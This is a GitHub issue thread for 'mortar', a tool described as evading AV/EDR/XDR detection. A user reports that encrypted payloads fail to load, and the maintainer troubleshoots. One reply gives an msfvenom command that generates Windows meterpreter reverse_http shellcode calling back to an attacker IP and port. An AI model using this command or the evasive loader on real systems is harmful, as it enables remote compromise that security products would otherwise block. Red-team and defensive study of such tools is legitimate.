search

0xsp-SRD / mortar

evasion technique to defeat and divert detection and prevention of security products (AV/EDR/XDR)
MIT License
1.41k stars 226 forks source link

The agressor.dll doesn't load the encrypted payload #20

Closed thedepartedpie closed 2 years ago

thedepartedpie commented 2 years ago

First, I tried to encrypt an exe the encryptor works fine but when I load it in the target machine it loads and it doesn't show errors but when I get back to the attacker machine nothing happened. Second , I tried to use the shellcode by following the instruction in https://0xsp.com/offensive/mortar-loader-v2/ and it not working again please review your code. Note : I've tried both in a windows target.

lawrenceamer commented 2 years ago

without debugging info, i can't figure out what's happening on your sys, send back the 

OS 
RAM 
CPU
VM/VIR/PC
lawrenceamer commented 2 years ago

what kind of EXE do you use to run, have you tried first to use the demo at folder demo? https://github.com/0xsp-SRD/mortar/blob/main/demo/bin.enc

lawrenceamer commented 2 years ago

the shellcode should be in this format msfvenom -p windows/x64/meterpreter/reverse_http LHOST=10.10.10.1 LPORT=8080 -f c-o > shellcode.bin

thedepartedpie commented 2 years ago

Does the payload doesn't run if the system is a virtual machine ?

lawrenceamer commented 2 years ago

it should, if the env not acting as an AV emulator, I have tested on a new fresh OS, VMware and it works fine https://user-images.githubusercontent.com/10256911/170633543-14c6ed00-dc64-4776-ac99-1f699dad32e2.png

lawrenceamer commented 2 years ago

duplicate #18